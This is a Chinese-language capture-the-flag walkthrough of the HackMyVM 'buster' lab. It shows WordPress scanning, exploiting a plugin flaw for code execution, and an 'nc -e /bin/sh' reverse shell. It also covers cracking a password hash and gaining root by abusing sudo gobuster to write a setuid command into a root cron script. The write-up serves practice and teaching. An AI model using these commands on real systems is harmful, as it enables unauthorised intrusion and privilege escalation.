hackmyvm-buster

题目地址

信息收集

主机发现

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -I eth1 192.168.56.0/24
Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0e       (Unknown: locally administered)
192.168.56.100  08:00:27:b0:9b:6b       (Unknown)
192.168.56.105  08:00:27:da:56:11       (Unknown)3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.157 seconds (118.68 hosts/sec). 3 responded

端口扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV 192.168.56.105
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-24 07:33 EST
Nmap scan report for 192.168.56.105
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
|   256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_  256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: bammmmuwe
|_http-generator: WordPress 6.7.1
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:DA:56:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

80端口开了一个http服务。是一个用wordpress搭建的站点。

wpscan进行一些信息收集

最开始我只进行了wpscan --url http://192.168.56.105 -e u,ap没用使用--plugins-detection aggressive 模式。

对目标进行了好几次的信息收集,但是没有收集到任何漏洞信息

后来使wpscan --url http://192.168.56.105 -e u,ap --plugins-detection aggressive 发现网站存在一个CVE-2024-50498

┌──(root㉿LAPTOP-40PQI58C)-[/mnt/c/Users/legion]
└─# wpscan --url http://192.168.56.105 -e u,ap --plugins-detection aggressive
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.27Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://192.168.56.105/ [192.168.56.105]
[+] Started: Mon Feb 24 20:36:52 2025Interesting Finding(s):[+] Headers| Interesting Entry: Server: nginx/1.14.2| Found By: Headers (Passive Detection)| Confidence: 100%[+] robots.txt found: http://192.168.56.105/robots.txt| Interesting Entries:|  - /wp-admin/|  - /wp-admin/admin-ajax.php| Found By: Robots Txt (Aggressive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.56.105/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.56.105/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.56.105/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 6.7.1 identified (Outdated, released on 2024-11-21).| Found By: Meta Generator (Passive Detection)|  - http://192.168.56.105/, Match: 'WordPress 6.7.1'| Confirmed By: Rss Generator (Aggressive Detection)|  - http://192.168.56.105/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>|  - http://192.168.56.105/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>[i] The main theme could not be detected.[+] Enumerating All Plugins (via Aggressive Methods)Checking Known Locations - Time: 00:14:12 <==================================> (109235 / 109235) 100.00% Time: 00:14:12
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] akismet| Location: http://192.168.56.105/wp-content/plugins/akismet/| Last Updated: 2025-02-14T18:49:00.000Z| Readme: http://192.168.56.105/wp-content/plugins/akismet/readme.txt| [!] The version is out of date, the latest version is 5.3.7|| Found By: Known Locations (Aggressive Detection)|  - http://192.168.56.105/wp-content/plugins/akismet/, status: 200|| Version: 5.3.5 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://192.168.56.105/wp-content/plugins/akismet/readme.txt| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)|  - http://192.168.56.105/wp-content/plugins/akismet/readme.txt[+] feed| Location: http://192.168.56.105/wp-content/plugins/feed/|| Found By: Known Locations (Aggressive Detection)|  - http://192.168.56.105/wp-content/plugins/feed/, status: 200|| The version could not be determined.[+] wp-query-console| Location: http://192.168.56.105/wp-content/plugins/wp-query-console/| Latest Version: 1.0 (up to date)| Last Updated: 2018-03-16T16:03:00.000Z| Readme: http://192.168.56.105/wp-content/plugins/wp-query-console/README.txt|| Found By: Known Locations (Aggressive Detection)|  - http://192.168.56.105/wp-content/plugins/wp-query-console/, status: 403|| Version: 1.0 (80% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://192.168.56.105/wp-content/plugins/wp-query-console/README.txt[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs - Time: 00:00:00 <==========================================> (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] ta0| Found By: Wp Json Api (Aggressive Detection)|  - http://192.168.56.105/wp-json/wp/v2/users/?per_page=100&page=1| Confirmed By:|  Rss Generator (Aggressive Detection)|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)|  Login Error Messages (Aggressive Detection)[+] welcome| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Mon Feb 24 20:51:12 2025
[+] Requests Done: 109276
[+] Cached Requests: 42
[+] Data Sent: 29.237 MB
[+] Data Received: 33.165 MB
[+] Memory used: 478.477 MB
[+] Elapsed time: 00:14:20

拿着payload直接打了,页面报错了

image-20250224205414747

执行了phpinfo()页面正常

image-20250224205521763

但是执行其他语句就都是400

我执行了var_dump(1),虽然页面还是400 但是页面返回来了结果

image-20250224205623271

在刚刚的返回的phpinfo()页面看到了禁用的函数

image-20250224205719657

但是用反引号还是能执行命令

image-20250224205942468

弹个shellnc -e /bin/sh 192.168.56.103 7777

拿到了www-data的权限

image-20250224210152514

有一个叫welcome的普通用户。同时WordPress也有一个welcome的用户

image-20250224210254665

上传一个php文件连接数据库读取出WordPress数据库中的用户与密码

image-20250224210403829

刚看到这里的时候,脑子一抽。想着将加密的密码更新为已知的密码。

然后

突然间想起来 这里的welcome的密码可能就是系统用户welcome的密码

就拿了密码 用jhon去爆破

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# john --show hash                     
?:1045671 password hash cracked, 0 left

然后通过ssh 顺利登录系统

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# ssh welcome@192.168.56.105
Linux listen 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 24 04:57:16 2025 from 192.168.56.103
$ whoami
welcome

sudo -l 看到/usr/bin/gobuster不需要密码就可以使用sudo

$ sudo -l
Matching Defaults entries for welcome on listen:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser welcome may run the following commands on listen:(ALL) NOPASSWD: /usr/bin/gobuster

最开始是没有什么思路的

突然间想到可以将 /root/root.txt文件指定为字典

在kali上用python -m http.server起一个http服务

然后执行

sudo gobuster -u "http://192.168.56.101:8080" -w /root/root.txt

很不幸root's flag的名字不叫root.txt

$ sudo gobuster -u "http://192.168.56.101:8080" -w /root/root.txt
2025/02/24 08:12:20 [!] 1 error occurred:* Wordlist (-w): File does not exist: /root/root.txt

下一个pspy看看

image-20250224212336104

root用户会定时执行/opt/.test.sh

这里突然间想到了

可以用python起一个htpp服务器然后在里面依次放入bin chmod +s bin bash文件夹以及文件

┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm/empty]
└─# tree
.
└── bin└── chmod +s └── bin└── bash4 directories, 1 file

然后创建一个字典文件里面只写bin/chmod +s /bin/bash

$ cat 1
bin/chmod +s /bin/bash

然后执行sudo /usr/bin/gobuster -u http://192.168.56.103:8000/ -w /home/welcome/1 -o res

welcome@listen:~$ cat res
/bin/chmod +s /bin/bash (Status: 200)
welcome@listen:~$ 

得到的结果是我们想要的

但是多了一个 (Status: 200)

后来我才知道-n参数可以忽略吊响应码

在命令后加一个-n参数后

welcome@listen:~$ cat res
/bin/chmod +s /bin/bash
welcome@listen:~$ 

后面没任何东西了

刚好是我们想要的

接下来就是把他加入到/opt/.tets.sh

执行sudo /usr/bin/gobuster -u "http://192.168.56.103:8000/" -w /home/welcome/1 -o /opt/.test.sh -n

再看/bin/bash的权限,已经加上了s

welcome@listen:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
welcome@listen:~$ 

之后执行 bash -p就是root权限了

welcome@listen:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1001(welcome) gid=1001(welcome) euid=0(root) egid=0(root) groups=0(root),1001(welcome)
bash-5.0# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/896394.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FS800DTU联动OneNET平台数据可视化View

目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…

Dockerfile 中的 COPY 语句:作用与使用详解

在 Docker 的构建过程中&#xff0c;Dockerfile 是一个核心文件&#xff0c;它定义了镜像的构建步骤和内容。其中&#xff0c;COPY 语句是一个非常重要的指令&#xff0c;用于将文件或目录从构建上下文&#xff08;通常是 Dockerfile 所在的目录及其子目录&#xff09;复制到容…

大白话Vuex 核心概念(state、mutations、actions)的使用案例与原理

大白话Vuex 核心概念&#xff08;state、mutations、actions&#xff09;的使用案例与原理 Vuex是Vue.js应用程序中专门用来管理状态的工具&#xff0c;就好像是一个大管家&#xff0c;帮你把项目里一些重要的数据和操作管理得井井有条。下面用大白话结合案例来介绍Vuex核心概…

机器学习介绍与数据集

一、机器学习介绍与定义 1.1 机器学习定义 机器学习&#xff08;Machine Learning&#xff09;是让计算机从数据中自动学习规律&#xff0c;并依据这些规律对未来数据进行预测的技术。它涵盖聚类、分类、决策树、贝叶斯、神经网络、深度学习&#xff08;Deep Learning&#xf…

大模型训练——pycharm连接实验室服务器

一、引言 我们在运行或者复现大佬论文代码的时候&#xff0c;笔记本的算力不够&#xff0c;需要使用实验室的服务器进行运行。可以直接在服务器的终端上执行&#xff0c;但是这样的话代码调试就不方便。而我们可以使用 pycharm 连接到服务器&#xff0c;既方便了代码调试&…

【Linux】进程优先级 | 进程调度(三)

目录 前言&#xff1a; 一、进程优先级&#xff1a; 1.通过nice值修改优先级&#xff1a; 二、进程切换&#xff1a; 三、上下文数据 四、Linux真实调度算法&#xff1a; 五、bitmap位图&#xff1a; 六、命令总结&#xff1a; 总结&#xff1a; 前言&#xff1a; 我…

【redis】数据类型之hyperloglog

Redis的HyperLogLog&#xff08;HLL&#xff09;是一种高效的概率数据结构&#xff0c;也是一种基于字符串的数据结构&#xff0c;用于估计大数据集的唯一元素数量&#xff08;基数统计&#xff09;。它通过极低的内存占用&#xff08;约 12KB&#xff09;实现接近线性的时间复…

【C语言】第八期——指针、二维数组与字符串

目录 1 初始指针 2 获取变量的地址 3 定义指针变量、取地址、取值 3.1 定义指针变量 3.2 取地址、取值 4 对指针变量进行读写操作 5 指针变量作为函数参数 6 数组与指针 6.1 指针元素指向数组 6.2 指针加减运算&#xff08;了解&#xff09; 6.2.1 指针加减具体数字…

SpringBoot——生成Excel文件

在Springboot以及其他的一些项目中&#xff0c;或许我们可能需要将数据查询出来进行生成Excel文件进行数据的展示&#xff0c;或者用于进行邮箱发送进行附件添加 依赖引入 此处demo使用maven依赖进行使用 <dependency><groupId>org.apache.poi</groupId>&…

mac 下 java 调用 gurobi 不能加载 jar

在 mac 电脑中的 java 始终不能加载 gurobi 的 jar 包&#xff0c;java 的开发软件 eclipse&#xff0c;idea 总是显示找不到 gurobi 的 jar 包&#xff0c;但是 jar 包明明就在那里。 摸索了三个小时&#xff0c;最后发现原因竟然是&#xff1a; jar 包太新&#xff0c;替换…

服务端配置TCP探活,超出探活时间后的行为?

server端启动 &#xff08;完整源码在最后&#xff09; 配置探活 setsockopt(client_fd, IPPROTO_TCP, TCP_KEEPIDLE, &(int){5}, sizeof(int)); // 空闲60秒后探测setsockopt(client_fd, IPPROTO_TCP, TCP_KEEPINTVL, &(int){10}, sizeof(int)); // 探测间隔10秒…

LLC谐振变换器恒压恒流双竞争闭环simulink仿真

1.模型简介 本仿真模型基于MATLAB/Simulink&#xff08;版本MATLAB 2017Ra&#xff09;软件。建议采用matlab2017 Ra及以上版本打开。&#xff08;若需要其他版本可联系代为转换&#xff09;针对全桥LLC拓扑&#xff0c;利用Matlab软件搭建模型&#xff0c;分别对轻载&#xf…

MySQL 中如何查看 SQL 的执行计划?

SQL 语句前面使用 EXPLAIN 关键字&#xff1a; EXPLAIN SELECT * FROM users WHERE id 1; 字段 含义 id 查询的序号&#xff08;如果是子查询或联合查询&#xff0c;会有多个 id&#xff09;。 select_type 查询的类型&#xff08;简单查询、子查询、联合查询等&#xff…

Discourse 中集成 Claude 3.7 Sonnet 模型

如果 Discourse 实例已经接入了 Anthropic。 那么只需要在后台挑一个不希望继续使用的模型改下就好。 否则需要重新在 Discourse 实例中配置 AI&#xff0c;然后获得 Anthropic 的 key。 进入后台的 AI 然后选择 LLMs 虽然我们这里已经显示成 3.7 了&#xff0c;但实际上所有…

Oracle 12c Docker安装问题排查 sga_target 1536M is too small

一、问题描述 在虚拟机环境&#xff08;4核16GB内存&#xff09;上部署 truevoly/oracle-12c 容器镜像时&#xff0c;一切运行正常。然而&#xff0c;当在一台 128 核 CPU 和 512GB 内存的物理服务器上运行时&#xff0c;容器启动时出现了 ORA-00821 等错误&#xff0c;提示 S…

DeepSeek 提示词:高效的提示词设计

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

KIMI K1.5:大规模强化学习在大语言模型中的应用与工程实践

目录 1、核心技术创新:长上下文强化学习 2、策略优化的技术细节 2.1、在线镜像下降变体 2.2、长度惩罚机制 2.3、智能采样策略 3、工程架构创新 3.1、混合部署框架 3.2、代码沙箱与奖励模型 3.3、分布式系统架构 4、实验成果与性能提升 5、结论与未来展望 大语言模…

从 0 到 1:使用 Docker 部署个人博客系统

引言 在当今数字化时代&#xff0c;拥有一个个人博客来记录自己的学习、生活和见解是一件非常有意义的事情。然而&#xff0c;传统的博客部署方式往往涉及复杂的环境配置和依赖管理&#xff0c;容易让人望而却步。而 Docker 的出现&#xff0c;为我们提供了一种简单、高效的解…

多进程网络服务端详细说明文档

多进程网络服务端详细说明文档 一、概述 本项目实现了一个基于多进程的 TCP 网络服务端&#xff0c;主要用于处理多个客户端的连接请求。为了提高代码的可维护性和可复用性&#xff0c;分成了头文件&#xff08;.h&#xff09;和多个源文件&#xff08;.cpp&#xff09;。具体…

HDFS数据多目录、异构存储、回收站

1.NameNode元数据多目录 HDFS集群中可以在hdfs-site.xml中配置“dfs.namenode.name.dir”属性来指定NameNode存储数据的目录&#xff0c;默认NameNode数据存储在${hadoop.tmp.dir}/dfs/name目录&#xff0c;“hadoop.tmp.dir”配置项在core-site.xml中。 我们也可以将NameNod…